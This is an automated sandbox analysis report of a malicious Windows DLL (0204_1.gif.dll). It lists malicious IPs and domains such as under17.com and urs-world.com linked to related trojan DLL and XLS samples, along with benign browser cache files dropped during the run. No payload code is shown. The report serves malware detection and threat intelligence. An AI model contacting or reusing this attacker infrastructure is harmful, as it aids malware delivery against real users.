Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 10m 9s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	0204_1.gif.dll
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	40
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal92.troj.winDLL@21/108@9/2
EGA Information:	Failed
HDC Information:	Successful, ratio: 57.9% (good quality ratio 54.7%) Quality average: 78.8% Quality standard deviation: 29.2%
HCA Information:	Successful, ratio: 86% Number of executed functions: 67 Number of non-executed functions: 64
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .dll
Warnings:	Show All Exclude process from analysis (whitelisted): taskhostw.exe, MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, ielowutil.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe, WmiPrvSE.exe, svchost.exe, wuapihost.exe Excluded IPs from analysis (whitelisted): 92.122.145.220, 40.88.32.150, 104.42.151.234, 104.43.139.144, 88.221.62.148, 184.30.20.56, 13.107.21.200, 204.79.197.200, 131.253.33.200, 13.107.22.200, 40.126.26.133, 40.126.26.135, 20.190.154.17, 40.126.26.132, 20.190.154.139, 40.126.26.134, 20.190.154.138, 20.190.154.16, 20.190.160.134, 20.190.160.2, 20.190.160.4, 20.190.160.129, 20.190.160.69, 20.190.160.73, 20.190.160.6, 20.190.160.132, 20.190.160.1, 20.190.160.130, 20.190.160.74, 20.190.160.131, 20.190.160.7, 20.190.160.9, 20.190.160.72, 20.190.160.70, 20.82.210.154, 93.184.221.240, 92.122.213.194, 92.122.213.247, 152.199.19.161, 13.64.90.137, 52.155.217.156, 20.54.26.129, 168.61.161.212, 52.255.188.83, 52.147.198.201 Excluded domains from analysis (whitelisted): arc.msn.com.nsatc.net, fs-wildcard.microsoft.com.edgekey.net, www.tm.a.prd.aadg.trafficmanager.net, e11290.dspg.akamaiedge.net, skypedataprdcoleus15.cloudapp.net, login.live.com, www-bing-com.dual-a-0001.a-msedge.net, audownload.windowsupdate.nsatc.net, hlb.apr-52dd2-0.edgecastdns.net, watson.telemetry.microsoft.com, au-bg-shim.trafficmanager.net, www.bing.com, fs.microsoft.com, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, displaycatalog.md.mp.microsoft.com.akadns.net, ris-prod.trafficmanager.net, skypedataprdcolcus17.cloudapp.net, skypedataprdcolcus16.cloudapp.net, dual-a-0001.dc-msedge.net, ris.api.iris.microsoft.com, store-images.s-microsoft.com, wst.current.a.prd.aadg.trafficmanager.net, blobcollector.events.data.trafficmanager.net, www.tm.lg.prod.aadmsa.trafficmanager.net, cs9.wpc.v0cdn.net, store-images.s-microsoft.com-c.edgekey.net, bing.com, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, a1449.dscg2.akamai.net, arc.msn.com, wu.azureedge.net, iecvlist.microsoft.com, db5eap.displaycatalog.md.mp.microsoft.com.akadns.net, e12564.dspb.akamaiedge.net, go.microsoft.com, cs11.wpc.v0cdn.net, arc.trafficmanager.net, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, wu.wpc.apr-52dd2.edgecastdns.net, www2.bing.com, displaycatalog-europeeap.md.mp.microsoft.com.akadns.net, skypedataprdcolwus17.cloudapp.net, ie9comview.vo.msecnd.net, wu.ec.azureedge.net, e1723.g.akamaiedge.net, ctldl.windowsupdate.com, login.msa.msidentity.com, skypedataprdcoleus16.cloudapp.net, skypedataprdcoleus17.cloudapp.net, a-0001.a-afdentry.net.trafficmanager.net, www2-bing-com.dual-a-0001.a-msedge.net, go.microsoft.com.edgekey.net, skypedataprdcolwus16.cloudapp.net, displaycatalog-rp.md.mp.microsoft.com.akadns.net Report size exceeded maximum capacity and may have missing behavior information. Report size getting too big, too many NtOpenKeyEx calls found.

Simulations

Behavior and APIs

No simulations

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
185.243.114.196	gg.gif.dll	Get hash	malicious	Browse
	gg_1.gif.dll	Get hash	malicious	Browse
	gg_2.gif.dll	Get hash	malicious	Browse
	KcFVz0y2si.dll	Get hash	malicious	Browse
	bTjvWUTLid.dll	Get hash	malicious	Browse
	KAsJ2r4XYY.dll	Get hash	malicious	Browse
	swlsGbeQwT.dll	Get hash	malicious	Browse
	document-1048628209.xls	Get hash	malicious	Browse
	document-1771131239.xls	Get hash	malicious	Browse
	document-1370071295.xls	Get hash	malicious	Browse
	document-69564892.xls	Get hash	malicious	Browse
	document-1320073816.xls	Get hash	malicious	Browse
	document-184653858.xls	Get hash	malicious	Browse
	document-1729033050.xls	Get hash	malicious	Browse
	document-540475316.xls	Get hash	malicious	Browse
	document-1456634656.xls	Get hash	malicious	Browse
	document-1376447212.xls	Get hash	malicious	Browse
	document-1813856412.xls	Get hash	malicious	Browse
	document-1776123548.xls	Get hash	malicious	Browse
	document-684762271.xls	Get hash	malicious	Browse
185.186.244.95	document-1048628209.xls	Get hash	malicious	Browse	urs-world.com/favicon.ico
	document-1771131239.xls	Get hash	malicious	Browse	urs-world.com/favicon.ico
	document-69564892.xls	Get hash	malicious	Browse	urs-world.com/favicon.ico
	document-1813856412.xls	Get hash	malicious	Browse	urs-world.com/favicon.ico
	document-1776123548.xls	Get hash	malicious	Browse	urs-world.com/favicon.ico
	document-647734423.xls	Get hash	malicious	Browse	urs-world.com/favicon.ico
	document-1579869720.xls	Get hash	malicious	Browse	urs-world.com/favicon.ico
	document-806281169.xls	Get hash	malicious	Browse	urs-world.com/favicon.ico
	document-839860086.xls	Get hash	malicious	Browse	urs-world.com/favicon.ico
	document-1061603179.xls	Get hash	malicious	Browse	urs-world.com/favicon.ico
	document-909428158.xls	Get hash	malicious	Browse	urs-world.com/favicon.ico
	document-1822768538.xls	Get hash	malicious	Browse	urs-world.com/favicon.ico
	document-1952275091.xls	Get hash	malicious	Browse	urs-world.com/favicon.ico
	document-583955381.xls	Get hash	malicious	Browse	urs-world.com/favicon.ico
	document-1312908141.xls	Get hash	malicious	Browse	urs-world.com/favicon.ico
	document-1612462533.xls	Get hash	malicious	Browse	urs-world.com/favicon.ico
	document-1669060840.xls	Get hash	malicious	Browse	urs-world.com/favicon.ico
	document-203135823.xls	Get hash	malicious	Browse	urs-world.com/favicon.ico
	document-1042699213.xls	Get hash	malicious	Browse	urs-world.com/favicon.ico
	document-980795635.xls	Get hash	malicious	Browse	urs-world.com/favicon.ico

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
urs-world.com	gg.gif.dll	Get hash	malicious	Browse	185.186.244.95
	gg_1.gif.dll	Get hash	malicious	Browse	185.186.244.95
	gg_2.gif.dll	Get hash	malicious	Browse	185.186.244.95
	bTjvWUTLid.dll	Get hash	malicious	Browse	185.186.244.95
	KAsJ2r4XYY.dll	Get hash	malicious	Browse	185.186.244.95
	swlsGbeQwT.dll	Get hash	malicious	Browse	185.186.244.95
	document-1048628209.xls	Get hash	malicious	Browse	185.186.244.95
	document-1771131239.xls	Get hash	malicious	Browse	185.186.244.95
	document-69564892.xls	Get hash	malicious	Browse	185.186.244.95
	document-1729033050.xls	Get hash	malicious	Browse	185.186.244.95
	document-1813856412.xls	Get hash	malicious	Browse	185.186.244.95
	document-1776123548.xls	Get hash	malicious	Browse	185.186.244.95
	document-647734423.xls	Get hash	malicious	Browse	185.186.244.95
	document-1579869720.xls	Get hash	malicious	Browse	185.186.244.95
	document-895003104.xls	Get hash	malicious	Browse	185.186.244.95
	document-779106205.xls	Get hash	malicious	Browse	185.186.244.95
	document-806281169.xls	Get hash	malicious	Browse	185.186.244.95
	document-839860086.xls	Get hash	malicious	Browse	185.186.244.95
	document-1061603179.xls	Get hash	malicious	Browse	185.186.244.95
	document-909428158.xls	Get hash	malicious	Browse	185.186.244.95
under17.com	gg.gif.dll	Get hash	malicious	Browse	185.243.114.196
	gg_1.gif.dll	Get hash	malicious	Browse	185.243.114.196
	gg_2.gif.dll	Get hash	malicious	Browse	185.243.114.196
	KcFVz0y2si.dll	Get hash	malicious	Browse	185.243.114.196
	bTjvWUTLid.dll	Get hash	malicious	Browse	185.243.114.196
	KAsJ2r4XYY.dll	Get hash	malicious	Browse	185.243.114.196
	swlsGbeQwT.dll	Get hash	malicious	Browse	185.243.114.196
	document-1048628209.xls	Get hash	malicious	Browse	185.243.114.196
	document-1771131239.xls	Get hash	malicious	Browse	185.243.114.196
	document-1370071295.xls	Get hash	malicious	Browse	185.243.114.196
	document-69564892.xls	Get hash	malicious	Browse	185.243.114.196
	document-1320073816.xls	Get hash	malicious	Browse	185.243.114.196
	document-184653858.xls	Get hash	malicious	Browse	185.243.114.196
	document-1729033050.xls	Get hash	malicious	Browse	185.243.114.196
	document-540475316.xls	Get hash	malicious	Browse	185.243.114.196
	document-1456634656.xls	Get hash	malicious	Browse	185.243.114.196
	document-1376447212.xls	Get hash	malicious	Browse	185.243.114.196
	document-1813856412.xls	Get hash	malicious	Browse	185.243.114.196
	document-1776123548.xls	Get hash	malicious	Browse	185.243.114.196
	document-684762271.xls	Get hash	malicious	Browse	185.243.114.196

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
ACCELERATED-ITDE	gg.gif.dll	Get hash	malicious	Browse	185.243.114.196
	gg_1.gif.dll	Get hash	malicious	Browse	185.243.114.196
	gg_2.gif.dll	Get hash	malicious	Browse	185.243.114.196
	KcFVz0y2si.dll	Get hash	malicious	Browse	185.243.114.196
	bTjvWUTLid.dll	Get hash	malicious	Browse	185.243.114.196
	BnJvVt951o.exe	Get hash	malicious	Browse	152.89.236.214
	BnJvVt951o.exe	Get hash	malicious	Browse	152.89.236.214
	SMtbg7yHyR.exe	Get hash	malicious	Browse	152.89.236.214
	KAsJ2r4XYY.dll	Get hash	malicious	Browse	185.243.114.196
	swlsGbeQwT.dll	Get hash	malicious	Browse	185.243.114.196
	document-1048628209.xls	Get hash	malicious	Browse	185.243.114.196
	document-1771131239.xls	Get hash	malicious	Browse	185.243.114.196
	document-1370071295.xls	Get hash	malicious	Browse	185.243.114.196
	document-69564892.xls	Get hash	malicious	Browse	185.243.114.196
	document-1320073816.xls	Get hash	malicious	Browse	185.243.114.196
	document-184653858.xls	Get hash	malicious	Browse	185.243.114.196
	document-1729033050.xls	Get hash	malicious	Browse	185.243.114.196
	document-540475316.xls	Get hash	malicious	Browse	185.243.114.196
	document-1456634656.xls	Get hash	malicious	Browse	185.243.114.196
	document-1376447212.xls	Get hash	malicious	Browse	185.243.114.196
WEBZILLANL	gg_2.gif.dll	Get hash	malicious	Browse	185.186.244.95
	bTjvWUTLid.dll	Get hash	malicious	Browse	185.186.244.95
	document-1048628209.xls	Get hash	malicious	Browse	185.186.244.95
	document-1771131239.xls	Get hash	malicious	Browse	185.186.244.95
	document-69564892.xls	Get hash	malicious	Browse	185.186.244.95
	document-1813856412.xls	Get hash	malicious	Browse	185.186.244.95
	document-1776123548.xls	Get hash	malicious	Browse	185.186.244.95
	document-647734423.xls	Get hash	malicious	Browse	185.186.244.95
	document-1579869720.xls	Get hash	malicious	Browse	185.186.244.95
	document-806281169.xls	Get hash	malicious	Browse	185.186.244.95
	document-839860086.xls	Get hash	malicious	Browse	185.186.244.95
	document-1061603179.xls	Get hash	malicious	Browse	185.186.244.95
	document-909428158.xls	Get hash	malicious	Browse	185.186.244.95
	document-1822768538.xls	Get hash	malicious	Browse	185.186.244.95
	document-1952275091.xls	Get hash	malicious	Browse	185.186.244.95
	document-583955381.xls	Get hash	malicious	Browse	185.186.244.95
	document-1312908141.xls	Get hash	malicious	Browse	185.186.244.95
	document-1612462533.xls	Get hash	malicious	Browse	185.186.244.95
	document-1669060840.xls	Get hash	malicious	Browse	185.186.244.95
	document-203135823.xls	Get hash	malicious	Browse	185.186.244.95

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\RecoveryStore.{1281261E-96F9-11EB-90E4-ECF4BB862DED}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	50344
Entropy (8bit):	2.013406639102966
Encrypted:	false
SSDEEP:	192:r9ZjZz2UWsOtsCfsxRMslsLosV/MspMs4sk0uYqy6g:rTlKD9zjycoJVXIq+
MD5:	4ABE06BA7B45F1438327592921172949
SHA1:	9708A6B5CA07882D0F3BCA6CED95A9E9855E0FAD
SHA-256:	323461B8160A0CE30F7CF58165CA85FF37FB5A3A7D2F33BA6322222E43EB361D
SHA-512:	D0CB0711627EBADABF7321B582C9DC1F95E6254389C0D02BECB1AC4D62C8FF0E3CBF59E9104A1557AA192EC61EB7CAEC2045E23D4934AF58879C17765F2D3886
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\RecoveryStore.{DFDEB0F6-96F8-11EB-90E4-ECF4BB862DED}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	50344
Entropy (8bit):	2.0118121284484216
Encrypted:	false
SSDEEP:	192:r6ZHZq20WBtHSfxhlMPsE/Mr9FfQu3ZWg:rm5JjzwOPsFr9Rb
MD5:	C51E86AA2AFCB1D6667540A905EB73D5
SHA1:	616262B5F96E6182A4D91D2ACC14A0764A6965AD
SHA-256:	3564BBAF2190A697F967C2DF1F2AA5BDE1E43F3C9093F0E09D89F33D67B5A5E4
SHA-512:	8100E17B462AAA4D94853B8494AA288D6DAFF6F950368677B022E19D69D30CBBAC007FD8391E2EF01592B39F5D85306F2BE859D07001DFC7808C00F1C3E4D830
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\RecoveryStore.{FBAD85D6-96F8-11EB-90E4-ECF4BB862DED}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	50344
Entropy (8bit):	2.007150153486176
Encrypted:	false
SSDEEP:	192:rFZVZFC2Fy1WFy+JBtFy+JphfFy+Jp9xhMFy+JZF9FFy+JZO995KpFy+JZO995K6:rLb3JLHQDJaQjKoc
MD5:	2C9C2CD95631B1B2B0B61A5AAD98756F
SHA1:	617BE4C69D2A0C0138F4C4F20CF6616FDA0404C3
SHA-256:	D9D0CB92AD66BB02D2C198236868560AFBEC71A4BEE6D86E327EE9D0F7008828
SHA-512:	EBAFD628BAF54680A2C0C6E59BE4C3C2561FFA370F76F20F1B0746F839855B8B89D40D41A63184A5DF24768B03F1D0477DCEE48C671F60D5549DAF6C18544242
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{12812620-96F9-11EB-90E4-ECF4BB862DED}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	modified
Size (bytes):	27864
Entropy (8bit):	1.826929920882411
Encrypted:	false
SSDEEP:	96:risZM9Qf6VBSxjx2NWOMqSnOeHatgRn71RnOeHatgRn7aeHatKqr:rlZ+Qf6Vkxjx2NWOMqS7bR7sr
MD5:	4F174BD1BEC86D583CE7D42D2CDF829F
SHA1:	4F1FBCE16CF9C2282A85EB40DA4546F906217F84
SHA-256:	CF4766415E6E0CF68BB77D6B67CAC8EEA89A5A0086689F8B6D2191014AC55A1B
SHA-512:	F9BAE503B957D72D2A31E0C56DAFC099DA852E5429E438F4F7958D4868A2D7FF8D9D425EBCF2D688555331846626375F7482DFBB0B6329FD6D50E6E1780AF72A
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{12812622-96F9-11EB-90E4-ECF4BB862DED}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	27864
Entropy (8bit):	1.8259468264078385
Encrypted:	false
SSDEEP:	96:rZZKQ+60BSTj920WAMcS5gcBRR5gcBOcBTGr:rZZKQ+60kTj920WAMcSKyRRKyOyar
MD5:	FD39C92A5639AE93B8AD5691AD5018E3
SHA1:	BA7CC9DD826B19AE49F144544796EDA3E5422968
SHA-256:	C70E2F9D528C4E6C62F61C75FF8B4C05FC9A66452D415E0783DDA0A5A82D2801
SHA-512:	18C29716B1ED39BAE21007CFB99A8677C1A34A2A41822E84A3B8EC66E72BD7C1BA5253D8AF9277E17D51473BD8A904936177A3E99744201D3C039AA8B1C9E8A9
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{DFDEB0F8-96F8-11EB-90E4-ECF4BB862DED}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	43212
Entropy (8bit):	2.493768127893704
Encrypted:	false
SSDEEP:	384:rjHpx7Mk+w1Gpb4jlWgfiOfiRZfiZvErPxGLPfkYt86a:FioiPiFK
MD5:	D1FD1198431AC8BBDB64A0A574BDB5AC
SHA1:	9020DB0663B94B1787A840939198CE6558B8D24A
SHA-256:	9C42DA02310D54AD58406FFF3E16C3652F2E7C17E0740DDEE6D94D93AB5CE170
SHA-512:	F0CD29B25BDAA9052BF517B596EAC5108DF249F6EACF41BB05660AA3F05B24247ACE8708908A23B7D7CCA37554AE4E1C19EDF50147602799FB9702634C0E76C1
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{DFDEB0FA-96F8-11EB-90E4-ECF4BB862DED}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	modified
Size (bytes):	41262
Entropy (8bit):	2.388184251102208
Encrypted:	false
SSDEEP:	192:roZXQD6lkojh2VWWMPmsGB8AMew7vtkut5I/bWHlOtr:roAmuqQs/ePzYMM8
MD5:	55A2CA485D9DD9E692BB5C5606BD9F68
SHA1:	156A10D0A04CC000CE951AA96BF4BEB97FFCABC5
SHA-256:	3DB56C53062F7E2C0AB25733A2088267921C0462D0D5D867F6E28BBAE843305D
SHA-512:	D7B4235EC6DBFEA1B468EFF88128680E1836D7C86AC9C79F371406ED913C19A0A6DC9F4A674B0343E48945FA5EEA63F18121E7CB888D582AF11BC0438F008527
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{FBAD85D8-96F8-11EB-90E4-ECF4BB862DED}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	27864
Entropy (8bit):	1.826716630641404
Encrypted:	false
SSDEEP:	96:rkZfQb6ZBSr6jC2yWPMXS6WmtjWUR6WmtjW+W0r:rkZfQb6ZkmjC2yWPMXSjmtjNRjmtj20r
MD5:	95ECDF664AB6D3FCA8089F3598F4B840
SHA1:	CD1DB74AE24C3273575DA20954451C55214DA499
SHA-256:	651C3C085B74763C87B263E7FE063D7EAACDCE15D43228319CEA389C31ADB1A5
SHA-512:	3CE80DBEC8BDACA2BBBA677BB282E7E584088A1A53B1155D1DEDE5CF900AEF9F7256BAB3F48DB26487DEAFBDEEE5E4A83803732ACA6DB63A2552E3B5D2468A64
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{FBAD85DA-96F8-11EB-90E4-ECF4BB862DED}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	modified
Size (bytes):	27340
Entropy (8bit):	1.831586598627649
Encrypted:	false
SSDEEP:	96:r6Z9Qm6QBSgj/A2/+W/oM/4eVGg8OmxVGg8OQHwA:r6Z9Qm6Qkgjo22WAMAeL2xL4wA
MD5:	E4A64C87AA1114EE648ABBB6B62096DF
SHA1:	B6335699B0A285C55CD239DD01DFAFB2A554A63F
SHA-256:	047FAA53E004D908157AA03016429100FCCF495C6CC0CABC2791F1D30183A503
SHA-512:	ECB6659FE893071E3E3587BB9C8E1FEEB63D354625447ABC0EA6B576066A085DF5C788F370CF61DD967022727C8EBB06754A2FEA0D74532755E593F92444216F
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\imagestore\ynfz0jx\imagestore.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	10192
Entropy (8bit):	4.533426903978944
Encrypted:	false
SSDEEP:	96:0Ph+Qhato4xfDehrmlPh+Qhato4xfDehrmM:0Z+dn5DehKlZ+dn5DehKM
MD5:	6175CD55831296F2E5A3E44392DFA5BA
SHA1:	57C5EC7F84EC0E622118072FFDAF7600BB7AA014
SHA-256:	F5A8D697906FC0B183EA6C421B55EB303DFBF3E81D746505F8160B847918BC83
SHA-512:	53A93AAAA54BCD2D4666FE5BB413859C8F90D23FECF494B8D078784E090F5BA5D16FB993E42C77EAA3A29A0C5A9E0617B0B6E0AD793C8D72CAB0B6F228961475
Malicious:	false
Preview:	+.h.t.t.p.s.:././.w.w.w...b.i.n.g...c.o.m./.s.a./.s.i.m.g./.f.a.v.i.c.o.n.-.2.x...i.c.o........... .... .........(... ...@..... ...................................................................................................................................................................................................N...Sz..R...R...P...N..L..H..DG..........................................................................................R6..U...U...S...R...P...N..L..I..F..B...7...............................................................................S6..V...V...U...S...R...P...N..L..I..F..C...?..:z......................................................................O...W...V...V...U...S...R...P...N..L..I..E..C...?...;..{7..q2$..............................................................T..D..]...S)..p6..J...R...P...N..L..I..E..B..>..;..z7..p2..f,X.........................................................A..O#..N!..N!..N!..P$..q:...P...N..K..I..E..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\FHHVYHNT.htm Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	HTML document, UTF-8 Unicode text, with very long lines, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	60841
Entropy (8bit):	5.760027881342484
Encrypted:	false
SSDEEP:	1536:GKrSCXrLQPo3H/8cpUQhqETOuKsIecFXdAjvd894fJLYvrMlyb097Q53Opw:GGLQw3f/mQhbd89RLew
MD5:	03E9A7BE6A2D58BAA4CADB8B9C1C86EC
SHA1:	0CA5CD53B3EBF1C728A650E1FAF2C1149A90CD3E
SHA-256:	C8237161315E1618CEACBE522BB4E3B305D36930775006339B3858ADE9B76E64
SHA-512:	79E16CC0FA28ACD66EBA8C3FBADCF89D414656E3C3AA2A5458A1FB0AA9570FE7645996698969921B62ACA6E0F358E8A0CEF4149C6C8219E5064C8AB4CD12B60D
Malicious:	false
Preview:	<!doctype html><html lang="en" dir="ltr"><head><meta name="theme-color" content="#4F4F4F" /><meta name="description" content="Bing helps you turn information into action, making it faster and easier to go from searching to doing." /><meta http-equiv="X-UA-Compatible" content="IE=edge" /><meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta property="fb:app_id" content="570810223073062" /><meta property="og:type" content="website" /><meta property="og:title" content="Info" /><meta property="og:image" content="https://www.bing.com/th?id=OHR.Olympics125_ROW9889344454_tmb.jpg&rf=" /><meta property="og:image:width" content="1366" /><meta property="og:image:height" content="768" /><meta property="og:url" content="https://www.bing.com/?form=HPFBBK&ssd=20210406_0700&mkt=de-CH" /><meta property="og:site_name" content="Bing" /><meta property="og:description" content="The first modern Olympic Games were held 125 years" /><title>Bing</title><link rel="shortcut i

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\HdepnBaFj-yarvouFUIlfV4Q9D8.gz[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	3201
Entropy (8bit):	5.369958740257869
Encrypted:	false
SSDEEP:	48:rmo6TIPx85uuYPXznTBB0D6e7htJETfD8QJLxDO7KTUx42Z3rtki:sYuYPXznb0DR7dw8QhIWTQrt7
MD5:	4AADD0F43326BAD8EFD82C85B6D9A20E
SHA1:	4093FC4AB9821B646D64C98051A1CF0679CB2188
SHA-256:	968849A1E6AAED249C78B6CF1AF585AB6C8482A8C5398AB1D2DC3CB92E9EA68F
SHA-512:	616B06A6E3B2385E5487C819FC7F595D473B2F14E8CB76EFB894EDEAB3B26D2C9B679A9B275D924BECC37E156C70B0B56126CCFB62C8B23ABBA9DE07BD93D72A
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/HdepnBaFj-yarvouFUIlfV4Q9D8.gz.js
Preview:	var __spreadArrays=this&&this.__spreadArrays\|\|function(){for(var i=0,n=0,r=arguments.length;n<r;n++)i+=arguments[n].length;for(var u=Array(i),f=0,n=0;n<r;n++)for(var e=arguments[n],t=0,o=e.length;t<o;t++,f++)u[f]=e[t];return u};define("clientinst",["require","exports"],function(n,t){function it(){a=0;u()}function u(){var n,s,t,o;e&&clearTimeout(e);for(n in i)if(i.hasOwnProperty(n)){s=n!=_G.IG?_G.lsUrl.replace(_G.IG,n):_G.lsUrl;for(t in i[n])i[n].hasOwnProperty(t)&&(o=b+s+"&TYPE=Event."+t+"&DATA="+f("[")+i[n][t]+f("]"),ut(o)\|\|(g().src=o));delete i[n]}typeof r!="undefined"&&r.setTimeout&&(e=r.setTimeout(u,w))}function rt(){return _G!==undefined&&_G.EF!==undefined&&_G.EF.logsb!==undefined&&_G.EF.logsb===1}function ut(n){return rt()?ft(n,""):!1}function ft(n,t){var i="sendBeacon",r=!1;if(navigator&&navigator[i])try{navigator[i](n,t);r=!0}catch(u){}return r}var y,d,i,g,o,p;t.__esModule=!0;t.Wrap=t.Log2=t.LogInstrumented=t.Log=t.LogCustomEvent=void 0;var r=n("env"),s=n("event.native"),h=n("e

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\Lq2ZTcK-ZOpjsEJIXReQZG4mDLg.gz[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	67125
Entropy (8bit):	5.23613773666319
Encrypted:	false
SSDEEP:	768:PfY2/W3m6CHbtHgtBkrel21k4Q8BLBSaJBe7BHyJxBCGnVW4nMO51sEBvkH7BSVq:Y2rA3cnq5QPW4nMETv8jYXmNw6V+oF
MD5:	7A6E7F57E8AA30D249A26C481B6CE82C
SHA1:	9902B866538741587475CE0037E4C656F1153D2C
SHA-256:	BAAFA901C91AFC368F4C5443428A247ABE016AD95843AD74148D4321CC0D34DC
SHA-512:	553F287EAEA2583475A96D4F66685C0505FA3961348413F42996631E0F80FC3FF57389EFA6FD5E862F06CAE7110B818BFEED071DF96495CA9EBFB7BCA6FD6162
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/Lq2ZTcK-ZOpjsEJIXReQZG4mDLg.gz.js
Preview:	var AutoSuggest,__extends,Bing,sa_inst;(function(n){var t;(function(n){var t,i,r,u,f,e;(function(n){n.User="SRCHHPGUSR"})(t=n.CookieNames\|\|(n.CookieNames={})),function(n){n.AutoSuggest="AS"}(i=n.CrumbNames\|\|(n.CrumbNames={})),function(n){n.CursorPosition="cp";n.ConversationId="cvid";n.SuggestionCount="sc";n.PartialQuery="pq";n.SuggestionPosition="sp";n.SuggestionType="qs";n.PreviewPaneSuggestionType="qsc";n.SkipValue="sk";n.PreviewPaneSkipValue="skc";n.Ghosting="ghc";n.Css="css";n.Count="count";n.DataSet="ds";n.SessionId="sid";n.TimeStamp="qt";n.Query="q";n.ImpressionGuid="ig";n.QFQuery="qry";n.BaseQuery="bq";n.FormCode="form";n.HashedMuid="nclid";n.RequestElToken="elvr";n.ElTokenValue="elv";n.AppId="appid";n.History="history";n.NoHistory="nohs";n.ApiTextDecoration="textdecorations";n.ClientId="clientid";n.Market="mkt";n.Scope="scope";n.CountryCode="cc";n.HomeGeographicRegion="hgr";n.SetLang="setlang";n.ZeroInputSerp="zis"}(r=n.QueryParams\|\|(n.QueryParams={})),function(n){n.ImpressionG

